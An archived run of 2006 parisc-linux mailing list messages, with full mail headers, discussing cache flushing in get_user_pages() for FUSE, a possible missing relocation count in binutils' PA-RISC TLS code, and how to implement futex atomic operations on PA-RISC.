Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Fri, 07 Apr 2006 08:25:50 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <1144412751.3606.7.camel__34294.7806501344$1416624047$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
	<1143986960.3865.5.camel@mulgrave.il.steeleye.com>
	<E1FQOzi-0007VZ-00@dorka.pomaz.szeredi.hu>
	<1144135400.3552.11.camel@mulgrave.il.steeleye.com>
	<E1FQhEh-0000Vz-00@dorka.pomaz.szeredi.hu>
	<1144165204.3597.13.camel@mulgrave.il.steeleye.com>
	<E1FQo4N-000159-00@dorka.pomaz.szeredi.hu>
	<1144282046.3214.7.camel@mulgrave.il.steeleye.com>
	<E1FRON9-0005rC-00@dorka.pomaz.szeredi.hu>
	<1144323026.4076.1.camel@mulgrave.il.steeleye.com>
	<E1FRT6N-0006Ax-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624047 18860 80.91.229.3 (22 Nov 2014 02:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:47 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Apr 2006 12:26:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 07 Apr 2006 14:26:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B37357D69C;
	Fri,  7 Apr 2006 06:26:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23243-09; Fri, 7 Apr 2006 06:26:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB38D7D69D;
	Fri,  7 Apr 2006 06:26:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 849117D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Apr 2006 06:26:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23266-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Apr 2006 06:26:32 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 9397F7D698
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Apr 2006 06:26:32 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k37CPq215744; Fri, 7 Apr 2006 08:25:52 -0400
In-Reply-To: <E1FRT6N-0006Ax-00@dorka.pomaz.szeredi.hu>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yxxQLmMWaHI+vqWnKSUlaGJqamdhZAS7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23551

On Thu, 2006-04-06 at 13:56 +0200, Miklos Szeredi wrote:
> > > How about this?
> > 
> > It would double flush the page on a lot of architectures
> 
> Which?

Well ... all of them.  Anonymous pages coming into get_user_pages() is
pretty much the exception.  You do this for every page.  But anyway,
even if you fixed that, Dave Miller vetoed an implementation based on
flush_cache_page() on the grounds that the implementation is nop'd on
quite a few architectures because of the way it's used ... it was the
first fix I tried to get past linux-arch.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Fri, 07 Apr 2006 21:11:55 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <E1FRwN9-0001PS-00__36798.6099598513$1416624047$gmane$org@dorka.pomaz.szeredi.hu>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
	<1143986960.3865.5.camel@mulgrave.il.steeleye.com>
	<E1FQOzi-0007VZ-00@dorka.pomaz.szeredi.hu>
	<1144135400.3552.11.camel@mulgrave.il.steeleye.com>
	<E1FQhEh-0000Vz-00@dorka.pomaz.szeredi.hu>
	<1144165204.3597.13.camel@mulgrave.il.steeleye.com>
	<E1FQo4N-000159-00@dorka.pomaz.szeredi.hu>
	<1144282046.3214.7.camel@mulgrave.il.steeleye.com>
	<E1FRON9-0005rC-00@dorka.pomaz.szeredi.hu>
	<1144323026.4076.1.camel@mulgrave.il.steeleye.com>
	<E1FRT6N-0006Ax-00@dorka.pomaz.szeredi.hu>
	<1144412751.3606.7.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624047 18862 80.91.229.3 (22 Nov 2014 02:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:47 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Apr 2006 19:12:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 07 Apr 2006 21:12:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AD817D6AC;
	Fri,  7 Apr 2006 13:12:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27062-05; Fri, 7 Apr 2006 13:12:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60AEE7D6AD;
	Fri,  7 Apr 2006 13:12:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 688B77D691
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Apr 2006 13:12:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27062-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Apr 2006 13:12:29 -0600 (MDT)
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by free.linux.hp.com (Postfix) with ESMTP id 680977D673
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Apr 2006 13:12:29 -0600 (MDT)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FRwN9-0001PS-00; Fri, 07 Apr 2006 21:11:55 +0200
In-reply-to: <1144412751.3606.7.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Fri, 07 Apr 2006 08:25:50 -0400)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n4wEfA8VPjlt6urBOTU2MTEzMTE2NYmY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23552

> > > > How about this?
> > > 
> > > It would double flush the page on a lot of architectures
> > 
> > Which?
> 
> Well ... all of them.  Anonymous pages coming into get_user_pages() is
> pretty much the exception.

I don't think that holds, since I would imagine most user pages _are_
anonymous.

Ptrace is one of the more notable users of get_user_pages() so I
checked what happens if I run 'strace /bin/true' on an instrumented
kernel.

Anon pages won by 214 to 26.

> You do this for every page.  But anyway, even if you fixed that,
> Dave Miller vetoed an implementation based on flush_cache_page() on
> the grounds that the implementation is nop'd on quite a few
> architectures because of the way it's used

Sounds like another case of a crappy interface.

But I don't care overmuch.  I'll submit a patch for ARM and let this
issue rest in peace.

Anyway, thanks for the fast course on CPU caches :)

Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bfd tls bug?
Date: Sat, 8 Apr 2006 12:14:13 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440604080914h3ad85b9fsa54876804279ed0b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624048 18865 80.91.229.3 (22 Nov 2014 02:40:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:48 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2006 16:14:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 08 Apr 2006 18:14:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93F3D7D680;
	Sat,  8 Apr 2006 10:14:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02242-05; Sat, 8 Apr 2006 10:14:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D16B57D676;
	Sat,  8 Apr 2006 10:14:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4693D7D674
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 10:14:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02140-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Apr 2006 10:14:14 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.205])
	by free.linux.hp.com (Postfix) with ESMTP id 707D57D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 10:14:14 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id 18so674696nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 08 Apr 2006 09:14:13 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=D7pK6lQhcdigBsmK+0f1Zzn025U+nJ1/676rGlIv0+ItpYOdv2xxnoHdipuLpmFLWMgo98Z/H2N740nMkBgEZjpHjUd5IkGv3YK+2RXqzjGmYNGlf8cCV0FB9mVQUUbYPYtLJY1f2UyFFp1c3yn7hYJVAOFvLpNfeUipshNJNxc=
Original-Received: by 10.36.250.48 with SMTP id x48mr3295678nzh;
	Sat, 08 Apr 2006 09:14:13 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Sat, 8 Apr 2006 09:14:13 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WtYEcHlUf2I/+IicY2xocyBwdWxlc9Yk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23553

Randolph,

bfd/elf32-hppa.c
   4168                     need_relocs =3D TRUE;
   4169                     loc =3D htab->srelgot->contents;
   4170                     /* FIXME (CAO): Should this be reloc_count++ ? =
*/
   4171                     loc +=3D htab->srelgot->reloc_count * sizeof
(Elf32_External_Rela);

Should there be a reloc_count++ there?
Or is this taken into account earlier?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: + parisc-add-ptr-compatpatch.patch added to
	-mm tree
Date: Sat, 8 Apr 2006 20:11:00 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20060409001100.GD30539@quicksilver.road.mcmartin.ca>
References: <200602220102.k1M12Jje015527@shell0.pdx.osdl.net>
	<20060222010459.GE26809@quicksilver.road.mcmartin.ca>
	<20060221172126.2db4adef.akpm@osdl.org>
	<20060222091356.GA27449@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624048 18870 80.91.229.3 (22 Nov 2014 02:40:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:48 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 parisc-linux@lists.parisc-linux.org
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2006 00:11:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 09 Apr 2006 02:11:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E593C7D68E;
	Sat,  8 Apr 2006 18:11:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05512-01; Sat, 8 Apr 2006 18:11:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB7617D687;
	Sat,  8 Apr 2006 18:11:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0EC77D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 18:11:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05213-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Apr 2006 18:11:22 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CB5177D676
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 18:11:21 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 053FD584094;
	Sat,  8 Apr 2006 20:11:21 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6733F584090;
	Sat,  8 Apr 2006 20:11:20 -0400 (EDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 34CBD23E83;
	Sat,  8 Apr 2006 20:10:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32350-05; Sat, 8 Apr 2006 20:10:48 -0400 (EDT)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id DD83123E82;
	Sat,  8 Apr 2006 20:10:47 -0400 (EDT)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id E96593B060; Sat,  8 Apr 2006 20:11:00 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060222091356.GA27449@elte.hu>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AWgAcQpVbmw7vq2HZzdLS0RHUzc4ctFq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23554

[Sorry about how long it has taken to get to this... I bounced it to
 parisc-linux too, so hopefully someone else can comment as well.]

On Wed, Feb 22, 2006 at 10:13:56AM +0100, Ingo Molnar wrote:
> There's only one complication i can imagine on PARISC: truly atomic 
> futex_atomic_cmpxchg_inuser() is not possible in any sane way because 
> any spinlock based cmpxchg exposes itself to userspace locking up the 
> kernel - no good. [We could in theory do something about it by imposing 
> some sort of deadline on the maximum time the spinning-on-userspace-lock 
> can take - but i dont think it's worth the trouble.]
>

Due to a complete lack of useful atomic operations on parisc, the
way I envisioned implementing the routines was serializing all futex
ops on a kernel spinlock. Since it's a userspace address, we couldn't
use an atomic hash unless we found the physical address behind it, so 
just one spinlock would do... Of course, I'm probably missing something 
critical here, though.

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: + parisc-add-ptr-compatpatch.patch added to
	-mm tree
Date: Sun, 9 Apr 2006 07:37:17 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20060409053716.GA18611@elte.hu>
References: <200602220102.k1M12Jje015527@shell0.pdx.osdl.net>
	<20060222010459.GE26809@quicksilver.road.mcmartin.ca>
	<20060221172126.2db4adef.akpm@osdl.org>
	<20060222091356.GA27449@elte.hu>
	<20060409001100.GD30539@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624048 18873 80.91.229.3 (22 Nov 2014 02:40:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:48 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2006 05:39:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 09 Apr 2006 07:39:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 980597D68F;
	Sat,  8 Apr 2006 23:39:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07038-01; Sat, 8 Apr 2006 23:39:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FEF27D687;
	Sat,  8 Apr 2006 23:39:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0DD7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 23:39:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06561-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Apr 2006 23:39:31 -0600 (MDT)
Original-Received: from mx2.mail.elte.hu (mx2.mail.elte.hu [157.181.151.9])
	by free.linux.hp.com (Postfix) with ESMTP id 0221E7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 23:39:31 -0600 (MDT)
Original-Received: from chiara.elte.hu ([157.181.151.252])
	by mx2.mail.elte.hu with esmtp (Exim) id 1FSSe0-0004gN-74
	from <mingo@elte.hu>; Sun, 09 Apr 2006 07:39:29 +0200
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id 9D0E31FC2; Sun,  9 Apr 2006 07:39:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20060409001100.GD30539@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.4.2.1i
Received-SPF: softfail (mx2: transitioning domain of elte.hu does not
	designate 157.181.151.252 as permitted sender)
	client-ip=157.181.151.252; envelope-from=mingo@elte.hu;
	helo=chiara.elte.hu; 
X-ELTE-SpamScore: -2.8
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-2.8 required=5.9 tests=ALL_TRUSTED,
	AWL autolearn=no SpamAssassin version=3.0.3
	-2.8 ALL_TRUSTED            Did not pass through any untrusted hosts
	0.0 AWL AWL: From: address is in the auto white-list
X-ELTE-VirusStatus: clean
